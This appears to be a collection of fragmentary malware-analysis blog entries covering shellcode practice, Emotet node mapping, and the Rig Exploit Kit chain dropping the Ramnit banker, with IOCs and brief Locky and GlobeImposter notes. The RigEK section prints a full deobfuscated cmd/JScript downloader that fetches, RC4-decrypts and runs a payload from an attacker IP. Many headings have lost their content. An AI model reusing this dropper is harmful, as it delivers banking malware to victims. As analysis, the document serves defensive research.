Goal: Create a neat shellcode without padded “00” in NASM for exploit bundling
Source: OpenSecurityTraining “Software Exploits”
Attempt I:
Attempt II (change extended to lower byte register values):
Attempt IV (remove 0xa newline):
Goal: Create a neat shellcode without padded “00” in NASM for exploit bundling
Source: OpenSecurityTraining “Software Exploits”
Attempt I:
Attempt II (change extended to lower byte register values):
Attempt IV (remove 0xa newline):
Goal: Visualize all possible Cridex/Geodo/Emotet/Dridex node infections on the map using Fusion Map
Source: OSINT and other feed intel
https://fusiontables.google.com/embedviz?containerId=googft-gviz-canvas&viz=GVIZ&t=GRAPH&gc=true&gd=true&sdb=1&rmax=100000&q=select+col6%2C+col0%2C+col3+from+1uZfgN0_tazPf9UVoIIiptra5ByDAanDFIcGX384g&qrs=+where+col6+%3E%3D+&qre=+and+col6+%3C%3D+&qe=&uiversion=2&state=%7B%22ps%22%3A%221_2_-10_o_0_-a_-1f_95_y_5z_bg_-1h_1u_ae_-9_-d_am_-29_1l_ri_-2_5w_ql_-b_-q_o4_-1g_-j_5t_-t_-h_16_-x_1v_4n_-1w_-v_hi_-2k_o_pz_-3_56_y_f_a_nt_-2c_g_de_-28_3_f4_-2c_y_eg_-2p_17_eh_-x_29_n1_-1v_1m_qv_-2m_z_6s_-1o_28_5q_-y_-p_mw_-g_1u_kz_-23_18_n0_-1c_23_qn_-2s_s_e8_-21_-4_pe_-f_25_ox_-2o_2_rd_-25_-q_nh_-o_23_nd_-2m_1f_3b_-1t_-2d_7o_-2e_1t_62_-22_9_k1_-3_0_ia_-4_1k_px_3_1b_83_-23_1i_mq_-6_23_1c_-1m_-y_km_-2e_17_ma_-28_q_eq_-1z_1w_qt_-1c_2d_ad_-2_1t_2l_-1m_-a_qc_1x_52_qj_-19_66_l5_a_15_nv_5_g_gv_-o_2l_m0_-2h_24_gg_-l_2d_17_j_1s_j7_-o_2u_gw_-y_-17_4m_3_-i_qq_1e_5g_w_-22_-1c_5i_k_x_30_1_-3y_pv_a_63_qi_1t_5i_3s_-8_-4k_t_-30_-9_2a_-x_-2p_l3_7_-1g_56_i_-26_3u_24_-a_3v_1p_-q_no_1e_-1e_q3_-1j_3s_12_1p_3_5g_f_-4i_4s_r_-6_og_-y_2j_5p_-2g_-c_53_-2l_-j_3k_-s_-y_2x_s_-4e_8o_-1m_2i_63_-2i_-1g_i_2f_-34_3l_1l_-1c_ag_-2k_2f_p9_-2a_2c_61_-3n_1r_nb_-1u_3q_q_-24_2k_84_a_2o_5n_v_3_la_g_-1s_iw_0_-1s_3g_-1e_-1s_es_-o_-1s_er_-x_-1h_bo_-31_-18_pd_-u_5r_1w_-32_1s_p_-3j_2p_2v_12_12_1v_-33_f_e_-3e_24_j1_-2b_-1a_67_-a_2g_gn_-1s_-1e_73_-1_2e_e9_-2t_2f_b5_29_1g_dk_-16_2m_m6_-2q_-27_3r_-1y_-4b_mo_3_-z_ek_-2a_-2f_ev_-49_-3_d4_-2c_33_92_-1f_2p_fs_-2w_1z_l7_-32_1b_ay_-36_-f_eo_-1m_-1m_aw_-2x_1k_at_-2c_3q_r2_-2g_-11_qz_27_13_jm_-1w_3x_9k_-3s_-18_9j_-1_-1z_jn_u_3i_dl_-1n_2t_4q_-2b_-45_8v_-4d_11_au_-2x_5_49_9_-5_7t_-2q_-z_6h_-3c_13_2o_-28_-1j_3d_1y_-y_3_-3x_-14_34_-1d_-t_4y_-37_20_65_1r_1s_bs_-4d_1h_46_26_1r_nu_-2_-q_32_22_-r_ow_14_6l_p3_24_6h_p2_-8_6h_oz_a_6t_ol_o_-1t_a_-p_-2g_m2_1i_2f_5s_-3l_14_kq_1y_1e_94_-f_-2f_j0_%22%2C%22cx%22%3A20.806092585307955%2C%22cy%22%3A-17.32674591826775%2C%22sw%22%3A1554.5151079090979%2C%22sh%22%3A679.3283956242936%2C%22z%22%3A0.25048044372185396%7D&gco_forceIFrame=true&gco_hasLabelsColumn=true&att=true&width=800&height=500 https://fusiontables.google.com/embedviz?q=select+col1+from+1uZfgN0_tazPf9UVoIIiptra5ByDAanDFIcGX384g&viz=MAP&h=false&lat=28.269753263159743&lng=-6.4424593749999985&t=3&z=2&l=col1&y=2&tmplt=2&hml=TWO_COL_LAT_LNG
The observed URI parameters are from thee RigEK URI 81.177[.140.137 (AS8342 RTCOMM-AS, RU):
(3) Observe the full decoded VBS code from RigEK’s CVE-2016-0189 function, which is almost an exact copy of the Github CVE-2016-0189 page (minus a few variable changes and change ShellExecute to Run functions for obfuscation purposes). In this matter, CVE-2016-0186 is also known as “Scripting Engine Memory Corruption Vulnerability.”
(4) Finally, observe the Ramnit banker drop from the RigEK leveraging the exploit.
The CVE-2016-0189 exploit allows remote code execution and transfers control to the following decoded beatified cmd command that downloads an encoded binary, decrypts, and runs the Ramnit banker as follows:
cmd.exe / q / c cd / d “%tmp%” && echo
function O(l) {
var w = “pow”,
j = 4 * 9;
return A.round((A[w](j, l + 1) – A.random() * A[w](j, l))).toString(j)[“slice”](1)
};
function V(k) {
var y = a(e + “.” + e + “Request.5.1”);
y.setProxy(n);
y.open(“GET”, k(1), 1);
y.Option(n) = k(2);
y.send();
y.WaitForResponse();
if (200 == y.status) return _(y.responseText, k(n))
};
function _(k, e) {
for (var l = 0, n, c = [], F = 5 + 5 * 50, S = String, q = [], b = 0; 256 ^ > b; b++) c[b] = b;
for (b = 0; 256 ^ > b; b++) l = l + c[b] + e.charCodeAt(b % e.length) ^ & F, n = c[b], c[b] = c[l], c[l] = n;
for (var p = l = b = 0; p ^ < k.length; p++) b = b + 1 ^ & F, l = l + c[b] ^ & F, n = c[b], c[b] = c[l], c[l] = n, q.push(S.fromCharCode(k.charCodeAt(p) ^ ^ c[c[b] + c[l] ^ & F]));
return q.join(“”)
};
try {
u = WScript, o = “Object”, A = Math, a = Function(“b”, “retu” + “rn u.Create” + o + “(b)”);
P = (“” + u).split(” “)[1], M = “indexOf”, q = a(P + “ing.FileSystem” + o), m = u.Arguments, e = “WinHTTP”, Z = “cmd”, U = “DEleTefIle”, j = a(“W” + P + “.Shell”), s = a(“ADODB.Stream”), x = O(8) + “.”, p = “exe”, n = 0, K = u[P + “FullName”], E = “.” + p;
s.Type = 3 – 1;
s.Charset = “iso-8859-1”;
s.Open();
try {
v = V(m)
} catch
v = V(m)
};
d = v.charCodeAt(20 + 1 + v[M](“PE\x00\x00”));
s.WriteText(v);
h = “dll”;
if (31 ^ < d) {
var z = 1;
x += h
} else x += p;
s.savetofile(x, 2);
s.Close();
C = ” /c “;
Y = “gsvr32”;
z ^ & ^ & (x = “re” + Y + E + ” /s ” + x);
j.run(Z + E + C + x, 0)
} catch (N) {};
q[U](K); > o32.tmp && start wscript //B //E:JScript o32.tmp “wexykukusw” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET4.0C; .NET4.0E)” “http://81.177.140%5B.%5D137/?NDg3NDE4&mano=%5BREDACTED%5D&pano=%5BREDACTED%5D&work=MzY0MzM0NjY=”
|
The shortened relevant function is as follows (commented):
Indicators of Compromise (IOCs):
08-15-2017 – RigEK server 81.177.140[.]137 (AS8342 RTCOMM-AS, RU)
08-15-2017 – RigEK exploit CVE-2016-0189 landing
SHA-1: 7993998d5f50bb7a3f8575fdfdb93f3386dbacde
Link
08-15-2017 – Ramnit Banker
SHA-1: 667d40d8c7c10f027ac57e91c509ddd56b8bc736
SHA-1: 4BDD366D8EE35503CF062AE22ABE5A4A2D8D8907
Tool: ollyDbg, CFF Explorer
Goal: Reverse the Rig Exploit Kit infection chain leading to Ramnit “demetra” banking Trojan.
Source: Malicious traffic
Tools: Fiddler, JPEXS, OllyDBG
Traffic Chain:
I. RigEK’s observed URI parameters are as follows (User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET4.0C; .NET4.0E)):
Ramnit aka “demetra” banking Trojan (dropped in %TEMP%; concatenates :Zone.Identifier as svchost[.]exe to the string and attempts to remove it as an anti-analysis trick, and leverages User Account Control (UAC) bypass method using application compatibility databases based on sdbinst[.]exe):
Ramnit anti-virus exclusion registry script:
Ramnit initial:
Ramnit getexec payload:
Tool: OllyDBG
Brief overview:
Locky ransomware appears to have altered its payload encryption and heavily leverages dynamic API loading when invoking calls as well as gzipped encoding traffic.
C2 (POST /checkupdate):
Locky extension:
POST requests (now gzip-encoded):
Targeted extensions:
Locky instructions:
Goal: Unpack GlobeImposter ransomware payload using WriteProcessMemory API buffer’s dump (check out the same method as Locky from the previous blog).
Tool: ollyDbg, CFF Explorer, IDA Pro
Credit: @dvk01uk
Malware SHA-256: 5b88544bebacba38708685b905a94742c7798bf64b6f90f46acbc3f6de4399e7
Original GlobeImposter sample:
Background:
GlobeImposter ransomware utilizes a loader/patcher algorithm patching and unloading the decoded payload in memory.
Theory:
GlobeImposter ransomware patches itself using CreateProcessA API setting the creation flag to CREATE_SUSPENDED and writing itself into the buffer via WriteProcessMemory API. Next, the ransomware process won’t be executed immediately; it does not start until called ResumeThread. So, the ransomware has time to patch in memory.